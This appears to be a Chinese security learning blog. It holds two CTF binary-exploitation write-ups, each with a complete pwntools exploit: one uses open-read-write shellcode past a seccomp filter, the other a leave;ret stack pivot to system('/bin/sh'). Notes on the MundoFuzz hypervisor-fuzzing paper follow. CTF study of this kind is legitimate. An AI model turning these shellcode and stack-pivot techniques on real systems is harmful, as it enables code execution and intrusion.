1234567891011121314root@VM-24-10-ubuntu:/home/ubuntu/stackpivot/jikenotbad# seccomp-tools dump ./bad line CODE JT JF K================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x05 0xffffffff if (A != 0xffffffff) goto 0010 0005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009 0006: 0x15 0x02 0x00 0x00000001 if (A == write) goto 0009 0007: 0x15 0x01 0x00 0x00000002 if (A == open) goto 0009 0008: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0010 0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0010: 0x06 0x00 0x00 0x00000000 return KILL
思路 需要分两次利用,因为无法直接把payload写入0x123000,所以先构造一个读取的payload,读入第二阶段payload后,再跳转过去
1.先利用第一次read读取第一阶段shellcode并跳转到这里进行执行,这串shellcode是读取第二阶段orw的shellcode到0x123000并跳转到那里
具体而言,第一阶段payload = asm(read_shellcode).ljust(32,b”\x00”) + p64(0) +p64(jmp_rsp)+asm(‘sub rsp,0x30;jmp rsp’)
jmp rsp相当于没干什么,只是跳到了下一条指令,但是如果没有这条指令,直接上汇编的话,识别不了,这里相当于给了一条指令的地址pop 出来的是指令的地址,jmp 过去的是可以直接执行的?
ret的话,是pop rip,在返回地址处放上一条指令的地址才对,所以这里放了jmp_rsp,pop rip后rsp指向了 asm(‘sub rsp,0x30;jmp rsp’),jmp到这里才可以把这里的数据当成指令,然后正好可以继续执行指令
大概..需要补汇编基础了…
2. 第一阶段的payload是读取第二阶段payload(orw)到0x123000,然后跳转过去
栈迁移12345678910root@VM-24-10-ubuntu:/home/ubuntu/stackpivot/jikenotbad# ROPgadget --binary bad --only 'jmp'Gadgets information============================================================0x000000000040078b : jmp 0x4007700x00000000004008eb : jmp 0x4008800x0000000000400b03 : jmp 0x400b7a0x0000000000400b87 : jmp qword ptr [rax - 0x68000000]0x0000000000400ceb : jmp qword ptr [rbp]0x0000000000400865 : jmp rax0x0000000000400a01 : jmp rsp
这里用到了jmp 这个转移的办法
expexp一定要加上架构,不然报错,因为要进行汇编
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263from pwn import *import time#sh = remote("xxx",xxx)sh = remote("node4.buuoj.cn",29945)#sh = process("./bad")context.log_level= "debug"context.terminal = ['tmux', 'splitw', '-h']#gdb.attach(sh,"b *0x000400A3E")context.arch= 'x86_64'vulnaddr = 0x0400A1Ebssaddr = 0x006010Aa# mov rdi,buxingma3orw_shellcode = '''mov rax,0x67616c662fpush raxmov rdi,rspxor rsi,rsimov rax,0x2syscallmov rdi,raxmov rsi,0x6010aamov rdx,0x100xor rax,raxsyscallmov rdi,1mov rsi,0x6010aamov rdx,0x100mov rax,1syscallhlt'''read_shellcode = '''mov rdi,0mov rsi,0x123000mov rdx,0x1000xor rax,raxsyscalljmp rsi'''jmp_rsp = 0x00000400a01# 这几个payload都可以,本质都一样payload = asm(read_shellcode).ljust(32,b"\x00") + p64(0) + p64(jmp_rsp) + b'\xE8\xcb\xff\xff\xff'#payload = asm(read_shellcode).ljust(32,b"\x00") + p64(0) + p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp')#payload = asm(read_shellcode).ljust(32,b"\x00") + p64(0) + p64(jmp_rsp) + b'\xE8\xcb\xff\xff\xff'#sh.send(payload)#sh.send(asm(orw_shellcode))sh.sendafter(b'Easy shellcode, have fun!',payload)#gdb.attach(sh)sh.sendafter(b'Baddd! Focu5 me! Baddd! Baddd!',asm(orw_shellcode))sh.recv(1024)sh.interactive()
知识点总结orw的shellcode编写
栈迁移 jmp rsp 、及jmp 转移指令的含义#payload = asm(read_shellcode).ljust(32,b”\x00”) + p64(0) + p64(jmp_rsp)+asm(‘sub rsp,0x30;jmp rsp’)
近转移call的含义payload = asm(read_shellcode).ljust(32,b”\x00”) + p64(0) + p64(jmp_rsp) + b’\xE8\xcb\xff\xff\xff’
e8是 call的操作码 #call 硬编码E8,后面加上四个字节的偏移(目标指令 - 下一条指令地址)
hex(0xffffffcb - 0xffffffff) = - 0x34
那7f不会影响它吗?
疑问下断点断不下来,直接跳到后面read之后了
近转移call的含义
参考https://blog.csdn.net/qq_34010404/article/details/123809796
https://blog.csdn.net/mcmuyanga/article/details/113389703
3.ciscn_2019_es_2Ubuntu 18 2.27 32位
分析反编译代码及保护1234567891011121314151617181920212223242526[*] '/home/ubuntu/stackpivot/ciscn_2019_es_2/ciscn_2019_es_2' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8046000) RUNPATH: b'/home/ubuntu/glibc-all-in-one/libs/2.27-3ubuntu1.6_i386/' int __cdecl main(int argc, const char **argv, const char **envp){ init(); puts("Welcome, my friend. What's your name?"); vul(); return 0; }int vul(){ char s; // [esp+0h] [ebp-28h] memset(&s, 0, 0x20u); read(0, &s, 0x30u); printf("Hello, %s\\n", &s); read(0, &s, 0x30u); return printf("Hello, %s\\n", &s);}
能看到存在明显的栈溢出,而且是两次,但是溢出的字节有限,只能覆盖个ebp和返回地址,栈的大小是0x28, 后面4字节ebp,4字节返回地址, 正好0x30,也就是读取输入的大小
利用00截断的bug,可以让printf一直输出,memset设置了0x20个0,给覆盖掉即可,这样的话,第一次输出就可以得到栈的地址,然后通过覆盖返回地址为leave;ret;(加上函数本身就有一次leave;ret;), 两次leave;ret;就把esp迁移到栈的缓冲区上,就可以执行第二次输入的payload了
找缓冲区位置 pwndbg> ni Hello, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbccc
输出的话,会从ecx(缓冲区开始的地方),一直往下输出,
所以0x28之后的就是ebp了,ebp和ecx的差了0x28个字节,所以ebp-0x28就是ecx
这种思路不对, 因为输出的是ebp这个地址存的值,而不是ebp本身的值,这个值,是ebp的地址加0x10
所以ecx的地址应当是接收到的ebp存储的值-0x28-0x10 所以就是ebp-0x38
栈迁移 可以把ebp伪造成ecx的地址, 然后返回地址leave;ret; (再加上本身函数就有一个leave;ret;) 这样两次就可以修改esp,改变程序控制流, 回去打system(”/bin/sh”)
system getshell system的话 用plt表的0x804A018 ,got表不行吗?
plt的顺序到底是啥…先plt还是先got, 还是说因为plt就是跳到got,所以直接引用got也可以
p32(system_addr) + p32(0) + p32(”/bin/sh”) 这个是错误的,为什么呢??? 为什么直接用值不行呢??
应该是payload = p32(callsystem)+p32(0)+p32(ecx_addr+12)+b”/bin/sh”
直接binsh字符串是不行的,需要一个指向这个字符串的地址,所以用的这个,记得后面要加\x00作为结束符号
exp12345678910111213141516171819202122232425from pwn import *#sh = remote("node4.buuoj.cn",29945)sh = process("./ciscn_2019_es_2")context.log_level= "debug"context.terminal = ['tmux', 'splitw', '-h']#gdb.attach(sh,"b _start")#context.arch= 'x86_64'payload = b"a"*0x20 + b"b"*8sh.sendafter(b'name?',payload)sh.recvuntil(b"bbbbbbbb")ecx_addr = u32(sh.recv(4)) - 0x38callsystem = 0x8048400leave_ret = 0x080484b8payload = p32(callsystem) + p32(0) + p32(ecx_addr+12)+b"/bin/sh\x00"#payload = p32(callsystem) + p32(leave_ret) + b"/bin/sh\x00"payload = payload.ljust(0x28,b"a")payload += p32(ecx_addr-4)+p32(leave_ret)sh.send(payload)sh.interactive()
做题思路及知识点1.可以明确这题本身不能往bss写的,没有途径,只能往栈上写
2.本身栈里存的是0? 怎么知道 memset那里设置了
3.read结束之后不会在末尾加上’\x00’,而printf不遇到’\x00’就不会停止打印, 这个知识点怎么来的呢???? 前面的memset提示?? 或许可以是一个知识储备,这个好像是一个常用的点
4.假的后门函数,这个是echo 字符串flag
1234567891011121314.text:0804854B hack proc near.text:0804854B ; __unwind {.text:0804854B push ebp.text:0804854C mov ebp, esp.text:0804854E sub esp, 8.text:08048551 sub esp, 0Ch.text:08048554 push offset command ; "echo flag".text:08048559 call _system.text:0804855E add esp, 10h.text:08048561 nop.text:08048562 leave.text:08048563 retn.text:08048563 ; } // starts at 804854B.text:08048563 hack endp
计算机基础不是很牢固…所以有些细节理解不到..
留下的疑问 system的话 用plt表的0x804A018 ,got表不行吗?
plt的顺序到底是啥…先plt还是先got, 还是说因为plt就是跳到got,所以直接引用got也可以
参考https://blog.csdn.net/qq_34010404/article/details/123809796
https://blog.csdn.net/mcmuyanga/article/details/113389703
https://blog.csdn.net/qq_45691294/article/details/112196127
https://blog.csdn.net/qq_41696518/article/details/126665825
https://blog.csdn.net/qq_41202237/article/details/105913597
https://xz.aliyun.com/t/12189
论文阅读笔记1-USENIX-MundoFuzz_Hypervisor_Fuzzing
虚拟化安全的pre,其实是自己第一次讲顶会论文…觉得一篇论文的工作量和细节还是蛮大的,也学到了挺多,在之后应该多读和多分析论文. 这篇文章是设计了一个fuzz工具,针对hypervisor,改进了fuzz中常用的两种方法,并且设计出了一套从开始收集数据,数据处理到后面fuzz的系统,在代码覆盖率方面比现有最好的hypervisor工具提高了5%左右,并且发现了40个bug,其中qemu通过了9个cve,其余还在申请中..
PS: 感觉工作量真的大…分析一篇都要很久,而且还没有太深入..更何况要去做(太菜了太菜了)
论文链接: https://www.usenix.org/conference/usenixsecurity22/presentation/myung
有作者的演讲视频和ppt,可以看一下
一. Introduction这部分可以详细读一下,介绍了本文的大背景,现有的一些研究的不足,本文的主要贡献等.
二. 背景知识2.1 hypervisor的外设输入空间 本文是针对hypervisor的外设部分进行fuzz,外设很好理解,就是虚拟出来的,比如鼠标键盘,硬盘,驱动等,这些物理外设,与之交互的话,都有一些特殊的协议和格式.
因为是虚拟出来的,和真实的设备不一样,所以不能直接访问,需要通过其他方法,常用的有三种
PIO(Programmed Input/Output)是一种最基本的输入/输出(I/O)通道,它将设备寄存器映射到一个独立的地址空间。这个地址空间只能通过特殊指令(in/out)访问。PIO的优点是简单,但它的局限是设备寄存器只能通过专用指令进行访问,这会带来一些限制。
MMIO(Memory-Mapped Input/Output)则将设备寄存器映射到内存地址的一个地址范围内,使得设备寄存器可以通过内存操作(例如加载或存储)访问。MMIO的优点是简化了设备访问的编程接口,但它的缺点是需要占用一部分内存地址空间。
DMA(Direct Memory Access)是一种直接内存访问技术,允许设备直接访问主机内存,而不需要CPU的干预。在DMA中,操作系统内核首先分配一块共享内存缓冲区,并将其地址告知虚拟设备。然后虚拟设备可以直接访问这个缓冲区以接收或返回数据。DMA的优点是可以减少CPU的开销,但它也需要特殊的硬件支持和一些额外的管理开销来确保安全和保护内存的一致性。
完成信号 虚拟设备通过io操作完成任务退回到空闲状态时,通过发送信号通知vm实例 可以通过硬件中断或专用设备寄存器来实现.介绍这个是因为在后面要捕获io交互的操作,可以通过这个信号判定一个操作结束.
2.1 fuzz fuzz是一种常用的软件发现的方法.
2.2 现有研究不足 覆盖引导: VDF手动进行排除噪音, 并且要把外设单独提取进行测试
基于语法: NYX 手动编写语法规则
都未能实现自动化,需要耗费大量人力
三. Hypervisor Fuzzing所面临的挑战
3.1 覆盖测量中的噪声-影响覆盖引导型测试 为什么会有噪声? 与它的固有属性有关,它是虚拟机管理程序,要虚拟化整个机器资源,所以它负责处理各种异步事件,尤其是终端和定时器事件,而这些事件和特定输入无关,就会导致输入混杂着噪音,从而输出也不一致.
假定是固定的输入能够得到固定的输出,这样的话才能够精确地去测量代码覆盖率等,噪声会严重影响测量.
3.2 解决方案 噪声不一定会在哪些代码分支里,但总应该是有不同的,取一个合适的测量次数值N,把所有测量结果取交集,就可以筛掉噪音.
3.2.1 测量单条io指令所引起的代码覆盖变化 单条io指令执行后的结果其实是包含了它之前的所有指令的结果(包含一些必要的初始化操作),所以取两个完全一样的机器运行,左边的输入比右边多一条要测量代码覆盖变化的指令,这样左边的代码覆盖减去右边的代码覆盖,就得到了这一条指令的代码覆盖范围.
但还是有噪音的,通过之前所述的方法进行消除噪音即可.
3.3 复杂的语义输入-影响语法感知型测试 语义分了两种,一种是寄存器语义,如何识别控制寄存器和数据寄存器以及DMA寄存器,另外一种是依赖关系,操作是有前后的顺序的,比如先要找到扇区,再进行写入,这是逻辑依赖,还有一种是操作依赖,例如DMA,先要配置DMA的地址,然后再进行写入.
3.3.1 设备寄存器的语义分了三类
1.控制寄存器
通过传递控制值来表明是需要哪个函数或操作指令
2.数据寄存器
传递参数等
3.DMA地址寄存器
传递DMA缓冲区的基地址
DMA地址寄存器可以直接进行识别,因为一开始就可以获取操作系统分配的DMA地址,只要检测是否在这个地址范围内,就可以确定是否是DMA寄存器
困难的是控制寄存器和数据寄存器的识别,如下图,不同的控制寄存器的值相当于调用不同的函数,数据寄存器也就是值
3.3.2 解决方案 修改寄存器的值,看代码覆盖面是否改变,如果改变了,那说明应该是换了个函数,未改变的话就是变了数据
3.3.3 依赖关系 例如先要enable才能对设备进行操作, find sector之后才能write data
同样的,对于DMA的依赖也可以通过指令直接看出来
3.3.4 解决方案 针对语义:同样也是看代码覆盖,把前面的指令删除后,看是否影响后面的指令的代码覆盖面,如果影响的话,那应该就是有依赖关系
3.3.5 解决方案总结
3.4 依赖图生成 根据刚才的方法生成依赖图,方便后面用.. 懒得写了…
四. MUNDOFUZZ的设计 整体设计如下:主要分了三部分,一部分是收集数据,第二部分是刚才重点分析的数据处理(消除噪音和语义推断),第三部分是fuzz的过程.
4.1 收集Hypervisor输入数据 收集真实的数据,通过监测操作系统内核和设备之间的io交互,hook内核API,修改Linux内核,拦截请求开始-结束,进行切片
4.1.1 记录 PIO/MMIO 操作记录对应的api即可
4.1.2 记录DMA操作4.1.3 记录DMA缓冲区的分配4.2 消除噪音和推断输入语义略
4.3 合成输入,进行fuz4.3.1 噪音覆盖去除因为是在fuzz的时候进行的,所以需要考虑性能的问题, 对算法进行了优化
范围从单独的io操作提升到io请求(一组io操作),但比起输入仍然小很多(63比68574
使用不用任何寄存器的输入来查找噪声
4.3.2 fuzz和输入合成语义的正确性是一方面,寄存器的值的正确性也很重要
工作流:生成,突变,更新
初始输入来源:1.预先储备的 2.根据依赖图和io请求语料库创建新的 5 5开
突变阶段: 根据寄存器种类进行相应改变 不同种类,改变频率不同 控制寄存器(代表新的io请求)
语料库更新: 根据覆盖反馈更新 新的覆盖范围 -> 输入语料库 如果属于新的io请求 -> io请求语料库,更新依赖图
五. 实际实现log系统: Linux 5.8.0
fuzzer:基于AFL 2.57b
MUNDOFUZZ-OS:基于xv6实现,从fuzzer中得到输入,中继到目标
六. 评估与目前最先进的hypervisor fuzz工具 hyper-cube和nyx进行对比
回答了三个问题
1.噪音消减技术是否提升了推断语义限制的准确性
2.在覆盖率上和最先进的两款工具比怎么样
3.它能发现未知的漏洞吗?
6.1 寄存器种类推断准确性 进行了一个对比实验,不用噪音消除和用了之后的.综合来说整体提高了50%,效果很明显
有一个是有问题的,降低了准确率,Floppy 因为它数据寄存器和命令寄存器复用了,但也好解决,混合类型进行推断即可
6.2 覆盖率对比 实验跑了24小时,重复了8次(评估指南),和最先进的hypervisor fuzz工具相比,提高了5%左右
6.3 新的漏洞
漏洞案例
七. 总结